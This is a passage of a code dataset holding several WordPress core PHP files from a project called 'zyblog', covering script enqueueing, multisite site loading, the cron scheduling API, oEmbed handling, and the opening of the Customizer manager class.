WP_Scripts(); } $wp_scripts->remove( $handle ); } /** * Enqueues script. * * Registers the script if src provided (does NOT overwrite) and enqueues. * * @since r16 * @see wp_register_script() For parameter information. */ function wp_enqueue_script( $handle, $src = false, $deps = array(), $ver = false, $in_footer = false ) { global $wp_scripts; if ( ! is_a( $wp_scripts, 'WP_Scripts' ) ) { if ( ! did_action( 'init' ) ) _doing_it_wrong( __FUNCTION__, sprintf( __( 'Scripts and styles should not be registered or enqueued until the %1$s, %2$s, or %3$s hooks.' ), '<code>wp_enqueue_scripts</code>', '<code>admin_enqueue_scripts</code>', '<code>init</code>' ), '3.3' ); $wp_scripts = new WP_Scripts(); } if ( $src ) { $_handle = explode('?', $handle); $wp_scripts->add( $_handle[0], $src, $deps, $ver ); if ( $in_footer ) $wp_scripts->add_data( $_handle[0], 'group', 1 ); } $wp_scripts->enqueue( $handle ); } /** * Remove an enqueued script. * * @since WP 3.1 * @see WP_Scripts::dequeue() For parameter information. */ function wp_dequeue_script( $handle ) { global $wp_scripts; if ( ! is_a( $wp_scripts, 'WP_Scripts' ) ) { if ( ! did_action( 'init' ) ) _doing_it_wrong( __FUNCTION__, sprintf( __( 'Scripts and styles should not be registered or enqueued until the %1$s, %2$s, or %3$s hooks.' ), '<code>wp_enqueue_scripts</code>', '<code>admin_enqueue_scripts</code>', '<code>init</code>' ), '3.3' ); $wp_scripts = new WP_Scripts(); } $wp_scripts->dequeue( $handle ); } /** * Check whether script has been added to WordPress Scripts. * * By default, checks if the script has been enqueued. You can also * pass 'registered' to $list, to see if the script is registered, * and you can check processing statuses with 'to_do' and 'done'. * * @since WP unknown; BP unknown * * @param string $handle Name of the script. * @param string $list Optional. Defaults to 'enqueued'. Values are * 'registered', 'enqueued' (or 'queue'), 'to_do', and 'done'. * @return bool Whether script is in the list. */ function wp_script_is( $handle, $list = 'enqueued' ) { global $wp_scripts; if ( ! is_a( $wp_scripts, 'WP_Scripts' ) ) { if ( ! did_action( 'init' ) ) _doing_it_wrong( __FUNCTION__, sprintf( __( 'Scripts and styles should not be registered or enqueued until the %1$s, %2$s, or %3$s hooks.' ), '<code>wp_enqueue_scripts</code>', '<code>admin_enqueue_scripts</code>', '<code>init</code>' ), '3.3' ); $wp_scripts = new WP_Scripts(); } return (bool) $wp_scripts->query( $handle, $list ); }
zyblog
trunk/zyblog/wp-includes/functions.wp-scripts.php
PHP
asf20
6,647
<?php /** * These functions are needed to load Multisite. * * @since 3.0.0 * * @package WordPress * @subpackage Multisite */ /** * Whether a subdomain configuration is enabled. * * @since 3.0.0 * * @return bool True if subdomain configuration is enabled, false otherwise. */ function is_subdomain_install() { if ( defined('SUBDOMAIN_INSTALL') ) return SUBDOMAIN_INSTALL; if ( defined('VHOST') && VHOST == 'yes' ) return true; return false; } /** * Returns array of network plugin files to be included in global scope. * * The default directory is wp-content/plugins. To change the default directory * manually, define <code>WP_PLUGIN_DIR</code> and <code>WP_PLUGIN_URL</code> * in wp-config.php. * * @access private * @since 3.1.0 * @return array Files to include */ function wp_get_active_network_plugins() { $active_plugins = (array) get_site_option( 'active_sitewide_plugins', array() ); if ( empty( $active_plugins ) ) return array(); $plugins = array(); $active_plugins = array_keys( $active_plugins ); sort( $active_plugins ); foreach ( $active_plugins as $plugin ) { if ( ! validate_file( $plugin ) // $plugin must validate as file && '.php' == substr( $plugin, -4 ) // $plugin must end with '.php' && file_exists( WP_PLUGIN_DIR . '/' . $plugin ) // $plugin must exist ) $plugins[] = WP_PLUGIN_DIR . '/' . $plugin; } return $plugins; } /** * Checks status of current blog. * * Checks if the blog is deleted, inactive, archived, or spammed. * * Dies with a default message if the blog does not pass the check. * * To change the default message when a blog does not pass the check, * use the wp-content/blog-deleted.php, blog-inactive.php and * blog-suspended.php drop-ins. * * @return bool|string Returns true on success, or drop-in file to include. */ function ms_site_check() { global $wpdb; $blog = get_blog_details(); // Allow short-circuiting $check = apply_filters('ms_site_check', null); if ( null !== $check ) return true; // Allow super admins to see blocked sites if ( is_super_admin() ) return true; if ( '1' == $blog->deleted ) { if ( file_exists( WP_CONTENT_DIR . '/blog-deleted.php' ) ) return WP_CONTENT_DIR . '/blog-deleted.php'; else wp_die( __( 'This user has elected to delete their account and the content is no longer available.' ), '', array( 'response' => 410 ) ); } if ( '2' == $blog->deleted ) { if ( file_exists( WP_CONTENT_DIR . '/blog-inactive.php' ) ) return WP_CONTENT_DIR . '/blog-inactive.php'; else wp_die( sprintf( __( 'This site has not been activated yet. If you are having problems activating your site, please contact <a href="mailto:%1$s">%1$s</a>.' ), str_replace( '@', ' AT ', get_site_option( 'admin_email', "support@{$current_site->domain}" ) ) ) ); } if ( $blog->archived == '1' || $blog->spam == '1' ) { if ( file_exists( WP_CONTENT_DIR . '/blog-suspended.php' ) ) return WP_CONTENT_DIR . '/blog-suspended.php'; else wp_die( __( 'This site has been archived or suspended.' ), '', array( 'response' => 410 ) ); } return true; } /** * Sets current site name. * * @access private * @since 3.0.0 * @return object $current_site object with site_name */ function get_current_site_name( $current_site ) { global $wpdb; $current_site->site_name = wp_cache_get( $current_site->id . ':site_name', 'site-options' ); if ( ! $current_site->site_name ) { $current_site->site_name = $wpdb->get_var( $wpdb->prepare( "SELECT meta_value FROM $wpdb->sitemeta WHERE site_id = %d AND meta_key = 'site_name'", $current_site->id ) ); if ( ! $current_site->site_name ) $current_site->site_name = ucfirst( $current_site->domain ); wp_cache_set( $current_site->id . ':site_name', $current_site->site_name, 'site-options' ); } return $current_site; } /** * Sets current_site object. * * @access private * @since 3.0.0 * @return object $current_site object */ function wpmu_current_site() { global $wpdb, $current_site, $domain, $path, $sites, $cookie_domain; if ( empty( $current_site ) ) $current_site = new stdClass; if ( defined( 'DOMAIN_CURRENT_SITE' ) && defined( 'PATH_CURRENT_SITE' ) ) { $current_site->id = defined( 'SITE_ID_CURRENT_SITE' ) ? SITE_ID_CURRENT_SITE : 1; $current_site->domain = DOMAIN_CURRENT_SITE; $current_site->path = $path = PATH_CURRENT_SITE; if ( defined( 'BLOG_ID_CURRENT_SITE' ) ) $current_site->blog_id = BLOG_ID_CURRENT_SITE; elseif ( defined( 'BLOGID_CURRENT_SITE' ) ) // deprecated. $current_site->blog_id = BLOGID_CURRENT_SITE; if ( DOMAIN_CURRENT_SITE == $domain ) $current_site->cookie_domain = $cookie_domain; elseif ( substr( $current_site->domain, 0, 4 ) == 'www.' ) $current_site->cookie_domain = substr( $current_site->domain, 4 ); else $current_site->cookie_domain = $current_site->domain; wp_load_core_site_options( $current_site->id ); return $current_site; } $current_site = wp_cache_get( 'current_site', 'site-options' ); if ( $current_site ) return $current_site; $sites = $wpdb->get_results( "SELECT * FROM $wpdb->site" ); // usually only one site if ( 1 == count( $sites ) ) { $current_site = $sites[0]; wp_load_core_site_options( $current_site->id ); $path = $current_site->path; $current_site->blog_id = $wpdb->get_var( $wpdb->prepare( "SELECT blog_id FROM $wpdb->blogs WHERE domain = %s AND path = %s", $current_site->domain, $current_site->path ) ); $current_site = get_current_site_name( $current_site ); if ( substr( $current_site->domain, 0, 4 ) == 'www.' ) $current_site->cookie_domain = substr( $current_site->domain, 4 ); wp_cache_set( 'current_site', $current_site, 'site-options' ); return $current_site; } $path = substr( $_SERVER[ 'REQUEST_URI' ], 0, 1 + strpos( $_SERVER[ 'REQUEST_URI' ], '/', 1 ) ); if ( $domain == $cookie_domain ) $current_site = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->site WHERE domain = %s AND path = %s", $domain, $path ) ); else $current_site = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->site WHERE domain IN ( %s, %s ) AND path = %s ORDER BY CHAR_LENGTH( domain ) DESC LIMIT 1", $domain, $cookie_domain, $path ) ); if ( ! $current_site ) { if ( $domain == $cookie_domain ) $current_site = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->site WHERE domain = %s AND path='/'", $domain ) ); else $current_site = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->site WHERE domain IN ( %s, %s ) AND path = '/' ORDER BY CHAR_LENGTH( domain ) DESC LIMIT 1", $domain, $cookie_domain, $path ) ); } if ( $current_site ) { $path = $current_site->path; $current_site->cookie_domain = $cookie_domain; return $current_site; } if ( is_subdomain_install() ) { $sitedomain = substr( $domain, 1 + strpos( $domain, '.' ) ); $current_site = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->site WHERE domain = %s AND path = %s", $sitedomain, $path) ); if ( $current_site ) { $current_site->cookie_domain = $current_site->domain; return $current_site; } $current_site = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->site WHERE domain = %s AND path='/'", $sitedomain) ); } if ( $current_site || defined( 'WP_INSTALLING' ) ) { $path = '/'; return $current_site; } // Still no dice. wp_load_translations_early(); if ( 1 == count( $sites ) ) wp_die( sprintf( __( 'That site does not exist. Please try <a href="%s">%s</a>.' ), 'http://' . $sites[0]->domain . $sites[0]->path ) ); else wp_die( __( 'No site defined on this host. If you are the owner of this site, please check <a href="http://codex.wordpress.org/Debugging_a_WordPress_Network">Debugging a WordPress Network</a> for help.' ) ); } /** * Displays a failure message. * * Used when a blog's tables do not exist. Checks for a missing $wpdb->site table as well. * * @access private * @since 3.0.0 */ function ms_not_installed() { global $wpdb, $domain, $path; wp_load_translations_early(); $title = __( 'Error establishing a database connection' ); $msg = '<h1>' . $title . '</h1>'; if ( ! is_admin() ) die( $msg ); $msg .= '<p>' . __( 'If your site does not display, please contact the owner of this network.' ) . ''; $msg .= ' ' . __( 'If you are the owner of this network please check that MySQL is running properly and all tables are error free.' ) . '</p>'; if ( false && !$wpdb->get_var( "SHOW TABLES LIKE '$wpdb->site'" ) ) $msg .= '<p>' . sprintf( __( '<strong>Database tables are missing.</strong> This means that MySQL is not running, WordPress was not installed properly, or someone deleted <code>%s</code>. You really should look at your database now.' ), $wpdb->site ) . '</p>'; else $msg .= '<p>' . sprintf( __( '<strong>Could not find site <code>%1$s</code>.</strong> Searched for table <code>%2$s</code> in database <code>%3$s</code>. Is that right?' ), rtrim( $domain . $path, '/' ), $wpdb->blogs, DB_NAME ) . '</p>'; $msg .= '<p><strong>' . __( 'What do I do now?' ) . '</strong> '; $msg .= __( 'Read the <a target="_blank" href="http://codex.wordpress.org/Debugging_a_WordPress_Network">bug report</a> page. Some of the guidelines there may help you figure out what went wrong.' ); $msg .= ' ' . __( 'If you&#8217;re still stuck with this message, then check that your database contains the following tables:' ) . '</p><ul>'; foreach ( $wpdb->tables('global') as $t => $table ) { if ( 'sitecategories' == $t ) continue; $msg .= '<li>' . $table . '</li>'; } $msg .= '</ul>'; wp_die( $msg, $title ); }
zyblog
trunk/zyblog/wp-includes/ms-load.php
PHP
asf20
9,553
<?php /** * WordPress CRON API * * @package WordPress */ /** * Schedules a hook to run only once. * * Schedules a hook which will be executed once by the WordPress actions core at * a time which you specify. The action will fire off when someone visits your * WordPress site, if the schedule time has passed. * * @since 2.1.0 * @link http://codex.wordpress.org/Function_Reference/wp_schedule_single_event * * @param int $timestamp Timestamp for when to run the event. * @param string $hook Action hook to execute when cron is run. * @param array $args Optional. Arguments to pass to the hook's callback function. */ function wp_schedule_single_event( $timestamp, $hook, $args = array()) { // don't schedule a duplicate if there's already an identical event due in the next 10 minutes $next = wp_next_scheduled($hook, $args); if ( $next && $next <= $timestamp + 10 * MINUTE_IN_SECONDS ) return; $crons = _get_cron_array(); $event = (object) array( 'hook' => $hook, 'timestamp' => $timestamp, 'schedule' => false, 'args' => $args ); $event = apply_filters('schedule_event', $event); // A plugin disallowed this event if ( ! $event ) return false; $key = md5(serialize($event->args)); $crons[$event->timestamp][$event->hook][$key] = array( 'schedule' => $event->schedule, 'args' => $event->args ); uksort( $crons, "strnatcasecmp" ); _set_cron_array( $crons ); } /** * Schedule a periodic event. * * Schedules a hook which will be executed by the WordPress actions core on a * specific interval, specified by you. The action will trigger when someone * visits your WordPress site, if the scheduled time has passed. * * Valid values for the recurrence are hourly, daily and twicedaily. These can * be extended using the cron_schedules filter in wp_get_schedules(). * * Use wp_next_scheduled() to prevent duplicates * * @since 2.1.0 * * @param int $timestamp Timestamp for when to run the event. * @param string $recurrence How often the event should recur. * @param string $hook Action hook to execute when cron is run. * @param array $args Optional. Arguments to pass to the hook's callback function. * @return bool|null False on failure, null when complete with scheduling event. */ function wp_schedule_event( $timestamp, $recurrence, $hook, $args = array()) { $crons = _get_cron_array(); $schedules = wp_get_schedules(); if ( !isset( $schedules[$recurrence] ) ) return false; $event = (object) array( 'hook' => $hook, 'timestamp' => $timestamp, 'schedule' => $recurrence, 'args' => $args, 'interval' => $schedules[$recurrence]['interval'] ); $event = apply_filters('schedule_event', $event); // A plugin disallowed this event if ( ! $event ) return false; $key = md5(serialize($event->args)); $crons[$event->timestamp][$event->hook][$key] = array( 'schedule' => $event->schedule, 'args' => $event->args, 'interval' => $event->interval ); uksort( $crons, "strnatcasecmp" ); _set_cron_array( $crons ); } /** * Reschedule a recurring event. * * @since 2.1.0 * * @param int $timestamp Timestamp for when to run the event. * @param string $recurrence How often the event should recur. * @param string $hook Action hook to execute when cron is run. * @param array $args Optional. Arguments to pass to the hook's callback function. * @return bool|null False on failure. Null when event is rescheduled. */ function wp_reschedule_event( $timestamp, $recurrence, $hook, $args = array()) { $crons = _get_cron_array(); $schedules = wp_get_schedules(); $key = md5(serialize($args)); $interval = 0; // First we try to get it from the schedule if ( 0 == $interval ) $interval = $schedules[$recurrence]['interval']; // Now we try to get it from the saved interval in case the schedule disappears if ( 0 == $interval ) $interval = $crons[$timestamp][$hook][$key]['interval']; // Now we assume something is wrong and fail to schedule if ( 0 == $interval ) return false; $now = time(); if ( $timestamp >= $now ) $timestamp = $now + $interval; else $timestamp = $now + ($interval - (($now - $timestamp) % $interval)); wp_schedule_event( $timestamp, $recurrence, $hook, $args ); } /** * Unschedule a previously scheduled cron job. * * The $timestamp and $hook parameters are required, so that the event can be * identified. * * @since 2.1.0 * * @param int $timestamp Timestamp for when to run the event. * @param string $hook Action hook, the execution of which will be unscheduled. * @param array $args Arguments to pass to the hook's callback function. * Although not passed to a callback function, these arguments are used * to uniquely identify the scheduled event, so they should be the same * as those used when originally scheduling the event. */ function wp_unschedule_event( $timestamp, $hook, $args = array() ) { $crons = _get_cron_array(); $key = md5(serialize($args)); unset( $crons[$timestamp][$hook][$key] ); if ( empty($crons[$timestamp][$hook]) ) unset( $crons[$timestamp][$hook] ); if ( empty($crons[$timestamp]) ) unset( $crons[$timestamp] ); _set_cron_array( $crons ); } /** * Unschedule all cron jobs attached to a specific hook. * * @since 2.1.0 * * @param string $hook Action hook, the execution of which will be unscheduled. * @param array $args Optional. Arguments that were to be pass to the hook's callback function. */ function wp_clear_scheduled_hook( $hook, $args = array() ) { // Backward compatibility // Previously this function took the arguments as discrete vars rather than an array like the rest of the API if ( !is_array($args) ) { _deprecated_argument( __FUNCTION__, '3.0', __('This argument has changed to an array to match the behavior of the other cron functions.') ); $args = array_slice( func_get_args(), 1 ); } while ( $timestamp = wp_next_scheduled( $hook, $args ) ) wp_unschedule_event( $timestamp, $hook, $args ); } /** * Retrieve the next timestamp for a cron event. * * @since 2.1.0 * * @param string $hook Action hook to execute when cron is run. * @param array $args Optional. Arguments to pass to the hook's callback function. * @return bool|int The UNIX timestamp of the next time the scheduled event will occur. */ function wp_next_scheduled( $hook, $args = array() ) { $crons = _get_cron_array(); $key = md5(serialize($args)); if ( empty($crons) ) return false; foreach ( $crons as $timestamp => $cron ) { if ( isset( $cron[$hook][$key] ) ) return $timestamp; } return false; } /** * Send request to run cron through HTTP request that doesn't halt page loading. * * @since 2.1.0 * * @return null Cron could not be spawned, because it is not needed to run. */ function spawn_cron( $gmt_time = 0 ) { if ( ! $gmt_time ) $gmt_time = microtime( true ); if ( defined('DOING_CRON') || isset($_GET['doing_wp_cron']) ) return; /* * multiple processes on multiple web servers can run this code concurrently * try to make this as atomic as possible by setting doing_cron switch */ $lock = get_transient('doing_cron'); if ( $lock > $gmt_time + 10 * MINUTE_IN_SECONDS ) $lock = 0; // don't run if another process is currently running it or more than once every 60 sec. if ( $lock + WP_CRON_LOCK_TIMEOUT > $gmt_time ) return; //sanity check $crons = _get_cron_array(); if ( !is_array($crons) ) return; $keys = array_keys( $crons ); if ( isset($keys[0]) && $keys[0] > $gmt_time ) return; if ( defined('ALTERNATE_WP_CRON') && ALTERNATE_WP_CRON ) { if ( !empty($_POST) || defined('DOING_AJAX') ) return; $doing_wp_cron = sprintf( '%.22F', $gmt_time ); set_transient( 'doing_cron', $doing_wp_cron ); ob_start(); wp_redirect( add_query_arg('doing_wp_cron', $doing_wp_cron, stripslashes($_SERVER['REQUEST_URI'])) ); echo ' '; // flush any buffers and send the headers while ( @ob_end_flush() ); flush(); WP_DEBUG ? include_once( ABSPATH . 'wp-cron.php' ) : @include_once( ABSPATH . 'wp-cron.php' ); return; } $doing_wp_cron = sprintf( '%.22F', $gmt_time ); set_transient( 'doing_cron', $doing_wp_cron ); $cron_request = apply_filters( 'cron_request', array( 'url' => site_url( 'wp-cron.php?doing_wp_cron=' . $doing_wp_cron ), 'key' => $doing_wp_cron, 'args' => array( 'timeout' => 0.01, 'blocking' => false, 'sslverify' => apply_filters( 'https_local_ssl_verify', true ) ) ) ); wp_remote_post( $cron_request['url'], $cron_request['args'] ); } /** * Run scheduled callbacks or spawn cron for all scheduled events. * * @since 2.1.0 * * @return null When doesn't need to run Cron. */ function wp_cron() { // Prevent infinite loops caused by lack of wp-cron.php if ( strpos($_SERVER['REQUEST_URI'], '/wp-cron.php') !== false || ( defined('DISABLE_WP_CRON') && DISABLE_WP_CRON ) ) return; if ( false === $crons = _get_cron_array() ) return; $gmt_time = microtime( true ); $keys = array_keys( $crons ); if ( isset($keys[0]) && $keys[0] > $gmt_time ) return; $schedules = wp_get_schedules(); foreach ( $crons as $timestamp => $cronhooks ) { if ( $timestamp > $gmt_time ) break; foreach ( (array) $cronhooks as $hook => $args ) { if ( isset($schedules[$hook]['callback']) && !call_user_func( $schedules[$hook]['callback'] ) ) continue; spawn_cron( $gmt_time ); break 2; } } } /** * Retrieve supported and filtered Cron recurrences. * * The supported recurrences are 'hourly' and 'daily'. A plugin may add more by * hooking into the 'cron_schedules' filter. The filter accepts an array of * arrays. The outer array has a key that is the name of the schedule or for * example 'weekly'. The value is an array with two keys, one is 'interval' and * the other is 'display'. * * The 'interval' is a number in seconds of when the cron job should run. So for * 'hourly', the time is 3600 or 60*60. For weekly, the value would be * 60*60*24*7 or 604800. The value of 'interval' would then be 604800. * * The 'display' is the description. For the 'weekly' key, the 'display' would * be <code>__('Once Weekly')</code>. * * For your plugin, you will be passed an array. you can easily add your * schedule by doing the following. * <code> * // filter parameter variable name is 'array' * $array['weekly'] = array( * 'interval' => 604800, * 'display' => __('Once Weekly') * ); * </code> * * @since 2.1.0 * * @return array */ function wp_get_schedules() { $schedules = array( 'hourly' => array( 'interval' => HOUR_IN_SECONDS, 'display' => __( 'Once Hourly' ) ), 'twicedaily' => array( 'interval' => 12 * HOUR_IN_SECONDS, 'display' => __( 'Twice Daily' ) ), 'daily' => array( 'interval' => DAY_IN_SECONDS, 'display' => __( 'Once Daily' ) ), ); return array_merge( apply_filters( 'cron_schedules', array() ), $schedules ); } /** * Retrieve Cron schedule for hook with arguments. * * @since 2.1.0 * * @param string $hook Action hook to execute when cron is run. * @param array $args Optional. Arguments to pass to the hook's callback function. * @return string|bool False, if no schedule. Schedule on success. */ function wp_get_schedule($hook, $args = array()) { $crons = _get_cron_array(); $key = md5(serialize($args)); if ( empty($crons) ) return false; foreach ( $crons as $timestamp => $cron ) { if ( isset( $cron[$hook][$key] ) ) return $cron[$hook][$key]['schedule']; } return false; } // // Private functions // /** * Retrieve cron info array option. * * @since 2.1.0 * @access private * * @return array CRON info array. */ function _get_cron_array() { $cron = get_option('cron'); if ( ! is_array($cron) ) return false; if ( !isset($cron['version']) ) $cron = _upgrade_cron_array($cron); unset($cron['version']); return $cron; } /** * Updates the CRON option with the new CRON array. * * @since 2.1.0 * @access private * * @param array $cron Cron info array from {@link _get_cron_array()}. */ function _set_cron_array($cron) { $cron['version'] = 2; update_option( 'cron', $cron ); } /** * Upgrade a Cron info array. * * This function upgrades the Cron info array to version 2. * * @since 2.1.0 * @access private * * @param array $cron Cron info array from {@link _get_cron_array()}. * @return array An upgraded Cron info array. */ function _upgrade_cron_array($cron) { if ( isset($cron['version']) && 2 == $cron['version']) return $cron; $new_cron = array(); foreach ( (array) $cron as $timestamp => $hooks) { foreach ( (array) $hooks as $hook => $args ) { $key = md5(serialize($args['args'])); $new_cron[$timestamp][$hook][$key] = $args; } } $new_cron['version'] = 2; update_option( 'cron', $new_cron ); return $new_cron; }
zyblog
trunk/zyblog/wp-includes/cron.php
PHP
asf20
12,684
<?php /** * API for easily embedding rich media such as videos and images into content. * * @package WordPress * @subpackage Embed * @since 2.9.0 */ class WP_Embed { var $handlers = array(); var $post_ID; var $usecache = true; var $linkifunknown = true; /** * Constructor */ function __construct() { // Hack to get the [embed] shortcode to run before wpautop() add_filter( 'the_content', array( $this, 'run_shortcode' ), 8 ); // Shortcode placeholder for strip_shortcodes() add_shortcode( 'embed', '__return_false' ); // Attempts to embed all URLs in a post add_filter( 'the_content', array( $this, 'autoembed' ), 8 ); // When a post is saved, invalidate the oEmbed cache add_action( 'pre_post_update', array( $this, 'delete_oembed_caches' ) ); // After a post is saved, cache oEmbed items via AJAX add_action( 'edit_form_advanced', array( $this, 'maybe_run_ajax_cache' ) ); } /** * Process the [embed] shortcode. * * Since the [embed] shortcode needs to be run earlier than other shortcodes, * this function removes all existing shortcodes, registers the [embed] shortcode, * calls {@link do_shortcode()}, and then re-registers the old shortcodes. * * @uses $shortcode_tags * @uses remove_all_shortcodes() * @uses add_shortcode() * @uses do_shortcode() * * @param string $content Content to parse * @return string Content with shortcode parsed */ function run_shortcode( $content ) { global $shortcode_tags; // Back up current registered shortcodes and clear them all out $orig_shortcode_tags = $shortcode_tags; remove_all_shortcodes(); add_shortcode( 'embed', array( $this, 'shortcode' ) ); // Do the shortcode (only the [embed] one is registered) $content = do_shortcode( $content ); // Put the original shortcodes back $shortcode_tags = $orig_shortcode_tags; return $content; } /** * If a post/page was saved, then output JavaScript to make * an AJAX request that will call WP_Embed::cache_oembed(). */ function maybe_run_ajax_cache() { $post = get_post(); if ( ! $post || empty($_GET['message']) || 1 != $_GET['message'] ) return; ?> <script type="text/javascript"> /* <![CDATA[ */ jQuery(document).ready(function($){ $.get("<?php echo admin_url( 'admin-ajax.php?action=oembed-cache&post=' . $post->ID, 'relative' ); ?>"); }); /* ]]> */ </script> <?php } /** * Register an embed handler. Do not use this function directly, use {@link wp_embed_register_handler()} instead. * This function should probably also only be used for sites that do not support oEmbed. * * @param string $id An internal ID/name for the handler. Needs to be unique. * @param string $regex The regex that will be used to see if this handler should be used for a URL. * @param callback $callback The callback function that will be called if the regex is matched. * @param int $priority Optional. Used to specify the order in which the registered handlers will be tested (default: 10). Lower numbers correspond with earlier testing, and handlers with the same priority are tested in the order in which they were added to the action. */ function register_handler( $id, $regex, $callback, $priority = 10 ) { $this->handlers[$priority][$id] = array( 'regex' => $regex, 'callback' => $callback, ); } /** * Unregister a previously registered embed handler. Do not use this function directly, use {@link wp_embed_unregister_handler()} instead. * * @param string $id The handler ID that should be removed. * @param int $priority Optional. The priority of the handler to be removed (default: 10). */ function unregister_handler( $id, $priority = 10 ) { if ( isset($this->handlers[$priority][$id]) ) unset($this->handlers[$priority][$id]); } /** * The {@link do_shortcode()} callback function. * * Attempts to convert a URL into embed HTML. Starts by checking the URL against the regex of the registered embed handlers. * If none of the regex matches and it's enabled, then the URL will be given to the {@link WP_oEmbed} class. * * @uses wp_oembed_get() * @uses wp_parse_args() * @uses wp_embed_defaults() * @uses WP_Embed::maybe_make_link() * @uses get_option() * @uses author_can() * @uses wp_cache_get() * @uses wp_cache_set() * @uses get_post_meta() * @uses update_post_meta() * * @param array $attr Shortcode attributes. * @param string $url The URL attempting to be embedded. * @return string The embed HTML on success, otherwise the original URL. */ function shortcode( $attr, $url = '' ) { $post = get_post(); if ( empty( $url ) ) return ''; $rawattr = $attr; $attr = wp_parse_args( $attr, wp_embed_defaults() ); // kses converts & into &amp; and we need to undo this // See http://core.trac.wordpress.org/ticket/11311 $url = str_replace( '&amp;', '&', $url ); // Look for known internal handlers ksort( $this->handlers ); foreach ( $this->handlers as $priority => $handlers ) { foreach ( $handlers as $id => $handler ) { if ( preg_match( $handler['regex'], $url, $matches ) && is_callable( $handler['callback'] ) ) { if ( false !== $return = call_user_func( $handler['callback'], $matches, $attr, $url, $rawattr ) ) return apply_filters( 'embed_handler_html', $return, $url, $attr ); } } } $post_ID = ( ! empty( $post->ID ) ) ? $post->ID : null; if ( ! empty( $this->post_ID ) ) // Potentially set by WP_Embed::cache_oembed() $post_ID = $this->post_ID; // Unknown URL format. Let oEmbed have a go. if ( $post_ID ) { // Check for a cached result (stored in the post meta) $cachekey = '_oembed_' . md5( $url . serialize( $attr ) ); if ( $this->usecache ) { $cache = get_post_meta( $post_ID, $cachekey, true ); // Failures are cached if ( '{{unknown}}' === $cache ) return $this->maybe_make_link( $url ); if ( ! empty( $cache ) ) return apply_filters( 'embed_oembed_html', $cache, $url, $attr, $post_ID ); } // Use oEmbed to get the HTML $attr['discover'] = ( apply_filters('embed_oembed_discover', false) && author_can( $post_ID, 'unfiltered_html' ) ); $html = wp_oembed_get( $url, $attr ); // Cache the result $cache = ( $html ) ? $html : '{{unknown}}'; update_post_meta( $post_ID, $cachekey, $cache ); // If there was a result, return it if ( $html ) return apply_filters( 'embed_oembed_html', $html, $url, $attr, $post_ID ); } // Still unknown return $this->maybe_make_link( $url ); } /** * Delete all oEmbed caches. * * @param int $post_ID Post ID to delete the caches for. */ function delete_oembed_caches( $post_ID ) { $post_metas = get_post_custom_keys( $post_ID ); if ( empty($post_metas) ) return; foreach( $post_metas as $post_meta_key ) { if ( '_oembed_' == substr( $post_meta_key, 0, 8 ) ) delete_post_meta( $post_ID, $post_meta_key ); } } /** * Triggers a caching of all oEmbed results. * * @param int $post_ID Post ID to do the caching for. */ function cache_oembed( $post_ID ) { $post = get_post( $post_ID ); if ( empty($post->ID) || !in_array( $post->post_type, apply_filters( 'embed_cache_oembed_types', array( 'post', 'page' ) ) ) ) return; // Trigger a caching if ( !empty($post->post_content) ) { $this->post_ID = $post->ID; $this->usecache = false; $content = $this->run_shortcode( $post->post_content ); $this->autoembed( $content ); $this->usecache = true; } } /** * Passes any unlinked URLs that are on their own line to {@link WP_Embed::shortcode()} for potential embedding. * * @uses WP_Embed::autoembed_callback() * * @param string $content The content to be searched. * @return string Potentially modified $content. */ function autoembed( $content ) { return preg_replace_callback( '|^\s*(https?://[^\s"]+)\s*$|im', array( $this, 'autoembed_callback' ), $content ); } /** * Callback function for {@link WP_Embed::autoembed()}. * * @uses WP_Embed::shortcode() * * @param array $match A regex match array. * @return string The embed HTML on success, otherwise the original URL. */ function autoembed_callback( $match ) { $oldval = $this->linkifunknown; $this->linkifunknown = false; $return = $this->shortcode( array(), $match[1] ); $this->linkifunknown = $oldval; return "\n$return\n"; } /** * Conditionally makes a hyperlink based on an internal class variable. * * @param string $url URL to potentially be linked. * @return string Linked URL or the original URL. */ function maybe_make_link( $url ) { $output = ( $this->linkifunknown ) ? '<a href="' . esc_attr($url) . '">' . esc_html($url) . '</a>' : $url; return apply_filters( 'embed_maybe_make_link', $output, $url ); } } $GLOBALS['wp_embed'] = new WP_Embed();
zyblog
trunk/zyblog/wp-includes/class-wp-embed.php
PHP
asf20
8,823
<?php /** * Customize Manager. * * @package WordPress * @subpackage Customize * @since 3.4.0 */ final class WP_Customize_Manager { protected $theme; protected $original_stylesheet; protected $previewing = false; protected $settings = array(); protected $sections = array(); protected $controls = array(); protected $nonce_tick; protected $customized; private $_post_values; /** * Constructor. * * @since 3.4.0 */ public function __construct() { require( ABSPATH . WPINC . '/class-wp-customize-setting.php' ); require( ABSPATH . WPINC . '/class-wp-customize-section.php' ); require( ABSPATH . WPINC . '/class-wp-customize-control.php' ); add_filter( 'wp_die_handler', array( $this, 'wp_die_handler' ) ); add_action( 'setup_theme', array( $this, 'setup_theme' ) ); add_action( 'wp_loaded', array( $this, 'wp_loaded' ) ); // Run wp_redirect_status late to make sure we override the status last. add_action( 'wp_redirect_status', array( $this, 'wp_redirect_status' ), 1000 ); // Do not spawn cron (especially the alternate cron) while running the customizer. remove_action( 'init', 'wp_cron' ); // Do not run update checks when rendering the controls. remove_action( 'admin_init', '_maybe_update_core' ); remove_action( 'admin_init', '_maybe_update_plugins' ); remove_action( 'admin_init', '_maybe_update_themes' ); add_action( 'wp_ajax_customize_save', array( $this, 'save' ) ); add_action( 'customize_register', array( $this, 'register_controls' ) ); add_action( 'customize_controls_init', array( $this, 'prepare_controls' ) ); add_action( 'customize_controls_enqueue_scripts', array( $this, 'enqueue_control_scripts' ) ); } /** * Return true if it's an AJAX request. * * @since 3.4.0 * * @return bool */ public function doing_ajax() { return isset( $_POST['customized'] ) || ( defined( 'DOING_AJAX' ) && DOING_AJAX ); } /** * Custom wp_die wrapper. Returns either the standard message for UI * or the AJAX message. * * @since 3.4.0 * * @param mixed $ajax_message AJAX return * @param mixed $message UI message */ protected function wp_die( $ajax_message, $message = null ) { if ( $this->doing_ajax() ) wp_die( $ajax_message ); if ( ! $message ) $message = __( 'Cheatin&#8217; uh?' ); wp_die( $message ); } /** * Return the AJAX wp_die() handler if it's a customized request. * * @since 3.4.0 * * @return string */ public function wp_die_handler() { if ( $this->doing_ajax() ) return '_ajax_wp_die_handler'; return '_default_wp_die_handler'; } /** * Start preview and customize theme. * * Check if 